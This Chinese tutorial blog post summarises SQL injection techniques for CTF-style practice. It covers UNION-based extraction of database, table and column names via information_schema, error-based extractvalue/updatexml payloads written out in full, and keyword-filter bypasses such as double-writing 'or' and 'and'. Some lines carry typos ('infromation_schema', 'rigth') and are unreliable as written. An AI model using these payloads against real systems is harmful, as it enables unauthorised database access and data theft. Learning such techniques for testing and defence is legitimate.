Java教程

sql注入总结

本文主要是介绍sql注入总结,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

1.联合注入(最简单的注入)

首先我们先判断是否有注入点,通过1,1‘来看回显是否相同,不相同就存在sql注入

一般没有过滤字符,我们可以使用万能密码进行登入

登入后,使用 order by 来进行字段数的判断。

判断出字段数后,使用联合注入的方式来获取数据库名,表名,字段名

select database();

group_concat(table_name) from infromation_schema.tables where table_schema='数据库名'

group_concat(column_name) from information_schema.columns where table_name='表名'

group_concat(字段名) from  表名

2.报错注入  (根据回显的报错内容来进行注入)

一般会过滤一些字符

例如 or and  union select 等等  需要一个个去试出来

可以使用双写来绕过 例如 oorr  aandnd;

过滤了一些关键字符 ,如=,空格等

可以使用like 代替 =

()代替=

xpath报错

可以使用extractvalue,updatexml

语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

当我们正常使用函数时,返回正常值,但当我们输入XPath_string错误时,会返回我们错误和我们需要的内容

extractvalue 同理

extractvalue(1,concat(0x7e,(select database()))) ->会返回database()信息(0x7e->~,~不属于xpath属于,所以会报错)

extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))爆表名

extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名')))爆字段名

extractvalue(1,concat(0x7e,(select group_concat('字段名') from '表名')))

可能还会遇到一些flag显示不全

可以用right,left 函数

rigth("abc",1)->c

group_concat(rigth(字段名,10)) 。。。 显示后10位

 

这篇关于sql注入总结的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!